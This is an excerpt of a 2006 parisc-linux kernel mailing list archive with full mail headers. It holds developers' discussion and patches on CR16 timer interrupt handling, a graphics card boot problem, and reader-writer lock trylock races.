List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OlefK8okMydyf4igZWplFxlraGRhZlqv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23935

On Sun, Aug 27, 2006 at 10:26:53PM +0200, Guy Martin wrote:
> I wasn't able to reproduce at all on my C3600.
> 

Is your C3600 running a 64bit kernel?

CR16 is 4294967296 times bigger on a 64bit kernel, whereas
the clockspeed of your C3600 is only about 4x faster...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What happen to the Penguin
Date: Wed, 30 Aug 2006 20:06:35 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20060831000635.GK3926@athena.road.mcmartin.ca>
References: <20060630184210.GE27102@athena.road.mcmartin.ca>
	<200608272121.k7RLLh0F018554@hiauly1.hia.nrc.ca>
	<20060827233044.GA6394@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624167 20808 80.91.229.3 (22 Nov 2014 02:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:47 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 00:07:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 31 Aug 2006 02:07:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F4D07D78A;
	Wed, 30 Aug 2006 18:07:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16214-07; Wed, 30 Aug 2006 18:07:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13D837D78B;
	Wed, 30 Aug 2006 18:07:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 497037D784
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 18:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16214-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 18:07:48 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 146817D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 18:07:48 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 55D81584125;
	Wed, 30 Aug 2006 20:07:47 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CD5C95840E0;
	Wed, 30 Aug 2006 20:07:46 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 7C9BA23E02;
	Wed, 30 Aug 2006 20:07:46 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 9C1A43B06A; Wed, 30 Aug 2006 20:06:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060827233044.GA6394@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b1LDLNJ2ZDI4DLHGdWY24BdxemhmY8HK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23936

On Sun, Aug 27, 2006 at 07:30:45PM -0400, Kyle McMartin wrote:
> On Sun, Aug 27, 2006 at 05:21:43PM -0400, John David Anglin wrote:
> > This happened between 2.6.17-rc3-pa3 and 2.6.17-rc4-pa0.  Removing
> > the unsupported A1262A allowed 2.6.17-pa6 to boot.  It doesn't boot
> > with the card installed.  This is using the c3000_defconfig kernels.
> > 
> 
> Can you remove the PCI_DEVICE(...) lines with PCI_DEVICE_HP_VISUALIZEFX*
> in drivers/video/console/sticore.c and see what happens? That should
> at least allow them to boot.
> 

I've finally got a chance to install my A1262A and VisEG PCI in my J6700,
I'll try to spend some time debugging this as soon as possible (though,
it might not been until mid-next week).

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Thu, 31 Aug 2006 00:53:27 -0600
Lines: 257
Approved: news@gmane.org
Message-ID: <20060831065327.GG3999@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624167 20812 80.91.229.3 (22 Nov 2014 02:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:47 +0000 (UTC)
Cc: willy@debian.org,
 James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 06:53:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 31 Aug 2006 08:53:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D06D7D823;
	Thu, 31 Aug 2006 00:53:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21392-07; Thu, 31 Aug 2006 00:53:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AFB07D80F;
	Thu, 31 Aug 2006 00:53:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F6EB7D7FA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:53:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21392-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:53:29 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id E07527D7F9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:53:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3BB013D8277;
	Thu, 31 Aug 2006 00:53:28 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04881-06; Thu, 31 Aug 2006 00:53:27 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9B4A63D8276; Thu, 31 Aug 2006 00:53:27 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GeudLPJJTlIvULeQeGhrXFNGU2poZZlL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23937

On Wed, Aug 30, 2006 at 12:48:43AM -0400, Carlos O'Donell wrote:
> A review of 'arch/parisc/kernel/time.c' and in particular
> 'timer_interrupt' and 'gettimeoffset'  show that this code has a
> couple of design flaws.
> 
> 1. cr16 is treated as signed.

This was by design. Paul Bame (IIRC) wrote this code and
while I was never that comfortable with it, I could never 
find anything wrong with it either. Randolph Chung and I
stared at timer_interrupt() _alot_.

> 2. No attempt is made to handle cr16 wrapping.

The signed math was supposed to handle it.
I believe it did but forgot details since looking at
it a few years ago.

I personally prefer to NOT use signed math in this case.
But that's honestly not a great reason to change this code.
I'd really prefer some evidence the kernel code is wrong.

> 3. jiffies vs. wall_jiffies adjustment is incorrect.
> 
> I have rewritten 'timer_interrupt'.

And I've hacked your version some more.
diff is below.

I've included your changes to gettimeoffset() in my patch below
and will review those next.

And something is certainly wrong with my version of the code.
It seems to be running the system clock at ~ 1/2 speed now. :)

odine:~# while : ; do sleep 10 ; ntpdate pool.ntp.org ; done
30 Aug 23:51:13 ntpdate[14051]: step time server 203.217.30.156 offset 60.165510 sec
30 Aug 23:51:39 ntpdate[14053]: step time server 203.217.30.156 offset 13.065388 sec
30 Aug 23:52:04 ntpdate[14055]: step time server 195.234.188.26 offset 11.578574 sec
30 Aug 23:52:31 ntpdate[14058]: step time server 203.217.30.156 offset 13.954358 sec
...

> A. cr16 is treated as an unsigned long.
> B. The following 3 scenarios exist.
> 
> 1. The timer interrupt fires, and 'now' comes after 'next_tick'

This is the "normal" case I think. 'now' should always lag behind
'next_tick' and how much depends on how long interrupts are blocked
on that CPU.

> 2. The timer interrupt fires, and 'now' has wrapped and is before 
> 'next_tick'
> 3. The timer interrupt fires, and 'now' is *just* before 'next_tick'
> 
> In theory 99% of the time we should be in scenario 1. On occasion we
> may miss a timer interrupt, end up close to wrapping, and we get
> scenario 2.

I'll assert we don't need to miss a timer interrupt to hit Scenario 2.
All we need is a timer interrupt that scheduled near 4GB (but below)
and 'normal' lag in interrupt delivery/handling will allow the
CR16 to wrap.

> Scenario 3 is just plain wrong and for now I will BUG() if
> the timer fires before we intended.

I agree.

...
> I assert that 'gettimeoffset' should never return a negative value. It
> represents the postive adjustment accounting for the fact that we are
> *part* of the way through a tick.

I have to think about this more. But I wonder if how "halftick" is
handled in timer_interrupt does not play well with this concept.

> The patch is attached. Please review. I booted this on my a500 without
> any problems. I don't really know how to look for problems so I ran
> the glibc testsuite and didn't get any extra regressions.

I've only booted on a500 (64-bit kernel) and will try on b2600
(32-bit kernel) next.


Please review and see if I added any new bugs.

Note that I replaced the "~0UL - XXX" with "~ XXX".
I'll be off by one cycle. I don't care.

thanks,
grant


diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 5facc9b..9f6cf58 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -44,34 +44,58 @@ #endif
 
 irqreturn_t timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
-	long now;
-	long next_tick;
-	int nticks;
+	unsigned long now;
+	unsigned long next_tick;
+        unsigned long remainder;
+	unsigned long ticks_elapsed = 0;
 	int cpu = smp_processor_id();
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
-	 *
-	 * Variables are *signed*.
+	/* Get current interval timer.
+	 * CR16 reads as 64 or 32 bit value depending CPU wide/narrow mode.
 	 */
+	now = mfctl(16);
+
+	/* Determine how much time elapsed.  */
+	if (now > next_tick) {
+		/* Scenario 1: "now" is late. A bit late is normal. */
+		ticks_elapsed = (now - next_tick) / clocktick;
+		remainder = now - (ticks_elapsed * clocktick);
+	}
+        else {
+		/* "now" is either early or cr16 wrapped.  */
+		if (~next_tick < clocktick) {
+			unsigned long difference;
+
+			/* Scenario 2: A missed clock tick would wrap. */
+			difference = ~0UL - (next_tick - now);
+			ticks_elapsed = difference / clocktick;
+			remainder = difference % clocktick;
+		} else {
+			/* Scenario 3: We didn't miss a clock tick. 
+			   "now" is early?  */
+			printk ("timer_interrupt: Now is early, now = %lx, next_tick = %lx, clocktick = %lx\n", now, next_tick, clocktick);
+			BUG ();
+		}
+	}
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
-		nticks++;
+	if (remainder > halftick) {
+		/* More than 1/2 way into the next tick. It counts.  */
+		ticks_elapsed++;
 	}
+
+	/* Add any full ticks that have elapsed plus the one we want next. */
+	next_tick += (ticks_elapsed + 1) * clocktick;
+
+        /* Only bottom 32-bits of next_tick are written to cr16.  */
 	mtctl(next_tick, 16);
 	cpu_data[cpu].it_value = next_tick;
 
-	while (nticks--) {
+	while (ticks_elapsed--) {
 #ifdef CONFIG_SMP
 		smp_do_timer(regs);
 #else
@@ -124,21 +148,47 @@ #ifndef CONFIG_SMP
 	 *    Once parisc-linux learns the cr16 difference between processors,
 	 *    this could be made to work.
 	 */
-	long last_tick;
-	long elapsed_cycles;
+	unsigned long now;
+	unsigned long last_tick;
+	unsigned long next_tick;
+	unsigned long next_next_tick;
+	unsigned long elapsed_cycles;
+	unsigned long usec;
+	unsigned long lost;
 
 	/* it_value is the intended time of the next tick */
-	last_tick = cpu_data[smp_processor_id()].it_value;
+	next_tick = cpu_data[smp_processor_id()].it_value;
+	next_next_tick = next_tick + clocktick;
 
-	/* Subtract one tick and account for possible difference between
-	 * when we expected the tick and when it actually arrived.
-	 * (aka wall vs real)
-	 */
-	last_tick -= clocktick * (jiffies - wall_jiffies + 1);
-	elapsed_cycles = mfctl(16) - last_tick;
+	/* This represents lost jiffies.  */
+	lost = clocktick * (jiffies - wall_jiffies); 
+	
+	/* We roll back 1 tick.  */
+	last_tick = next_tick - clocktick;
+
+	/* Read the hardware interval timer.  */
+	now = mfctl(16);
+
+	if (now > last_tick) {
+		/* Scenario 1: "now" is later than last_tick.  */
+		elapsed_cycles = now - last_tick;
+	} else {
+		/* "now" is either early or cr16 wrapped.  */
+		if (next_next_tick < last_tick) {
+			/* Scenario 2: A missed clock tick would wrap. */
+			elapsed_cycles = ~0UL - (last_tick - now);
+		} else {
+			/* Scenario 3: We didn't miss a clock tick. 
+			   "now" is early?  */
+			printk ("gettimeoffset: Now is early, now = %lx, last_tick = %lx, next_tick = %lx, clocktick = %lx\n", now, last_tick, next_tick, clocktick);
+			BUG ();
+		}
+	}
 
-	/* the precision of this math could be improved */
-	return elapsed_cycles / (PAGE0->mem_10msec / 10000);
+	/* FIXME: Improve precision. */
+	usec = elapsed_cycles * 10000 / PAGE0->mem_10msec;
+	usec += lost;
+	return usec;
 #else
 	return 0;
 #endif
@@ -149,6 +199,7 @@ do_gettimeofday (struct timeval *tv)
 {
 	unsigned long flags, seq, usec, sec;
 
+	/* Hold xtime_lock and adjust timeval.  */
 	do {
 		seq = read_seqbegin_irqsave(&xtime_lock, flags);
 		usec = gettimeoffset();
@@ -156,25 +207,13 @@ do_gettimeofday (struct timeval *tv)
 		usec += (xtime.tv_nsec / 1000);
 	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
 
-	if (unlikely(usec > LONG_MAX)) {
-		/* This can happen if the gettimeoffset adjustment is
-		 * negative and xtime.tv_nsec is smaller than the
-		 * adjustment */
-		printk(KERN_ERR "do_gettimeofday() spurious xtime.tv_nsec of %ld\n", usec);
-		usec += USEC_PER_SEC;
-		--sec;
-		/* This should never happen, it means the negative
-		 * time adjustment was more than a second, so there's
-		 * something seriously wrong */
-		BUG_ON(usec > LONG_MAX);
-	}
-

From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 06:31:35 -0600
Lines: 99
Approved: news@gmane.org
Message-ID: <20060831123135.GC4919@parisc-linux.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
	<20060831060637.GF3999@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624167 20814 80.91.229.3 (22 Nov 2014 02:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 12:31:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 31 Aug 2006 14:31:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DADD07D7D1;
	Thu, 31 Aug 2006 06:31:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27299-01; Thu, 31 Aug 2006 06:31:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A1A97D79F;
	Thu, 31 Aug 2006 06:31:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 253EF7D782
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 06:31:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25263-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 06:31:36 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 020B97D773
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 06:31:36 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id B8536494003; Thu, 31 Aug 2006 06:31:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831060637.GF3999@colo.lackof.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: juTFcCUxX1VpCOuYY2FyT013SDc4NEw6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23938

On Thu, Aug 31, 2006 at 12:06:37AM -0600, Grant Grundler wrote:
> Here's the patch I ended up with.
> Diff is also parked on gsyprf11:~grundler/diff-2.6.18-rc4-pa4-rwlocks-01
> 
> +static  __inline__ int __raw_read_trylock(raw_rwlock_t *rw)
> +{
> +	if (!__raw_spin_trylock(&rw->lock))
> +		return 0;
>  
> +	rw->counter++;
>  	__raw_spin_unlock(&rw->lock);
> +	return 1;
>  }

This has the false failure problem.  ie if another CPU is doing a
read_lock() at the same time, it will fail to acquire the lock, even
though it would succeed if it tried again.  I don't know if we have any
code which depends upon that not failing, but it does seem a bit
suboptimal.

Fixing this is somewhat Hard.  My original suggestion was this:

retry:
	if (__raw_spin_trylock(&rw->lock)) {
		rw->counter++;
		__raw_spin_unlock(&rw->lock);
		return 1;
	} else if (rw->counter < 0) {
		return 0;
	} else {
		goto retry;
	}

But this leads to deadlock if called from interrupt context and the CPU
had got to:

static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
{
retry:
        __raw_spin_lock(&rw->lock);

<<<- here

and hadn't set counter to -1.  Now, we can fix that:

static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
{
	unsigned long flags;
retry:
	local_irq_save(flags);
        __raw_spin_lock(&rw->lock);

        if (rw->counter != 0) {
                /* this basically never happens */
                __raw_spin_unlock(&rw->lock);
		local_irq_restore(flags);

                while (rw->counter != 0)
                        cpu_relax();

                goto retry;
        }

        /* got it.  now leave without unlocking */
        rw->counter = -1; /* remember we are locked */
	local_irq_restore(flags);
}

A similar change has to be made to __raw_write_trylock too:

static  __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
{
	unsigned long flags;
	int result = 0;
	local_irq_save(flags);
	if (__raw_spin_trylock(&rw->lock)) {
		if (rw->counter == 0) {
			rw->counter = -1;
			result = 1;
		} else {
			__raw_spin_unlock(&rw->lock);
		}
	}
	local_irq_restore(flags);
	return result;
}

Better ideas, anyone?

(And perhaps more importantly, anyone spot any holes in my reasoning?
I'm not too happy disabling interrupts *after* disabling preemption.
And of course, we disable interrupts twice when called with
write_lock_irq.)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 08:01:30 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <200608310801.30580.mszick@morethan.org>
References: <44F5F3CB.30806@scarlet.be> <20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624168 20815 80.91.229.3 (22 Nov 2014 02:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 13:01:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 31 Aug 2006 15:01:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C13CD7D835;
	Thu, 31 Aug 2006 07:01:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27325-08; Thu, 31 Aug 2006 07:01:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
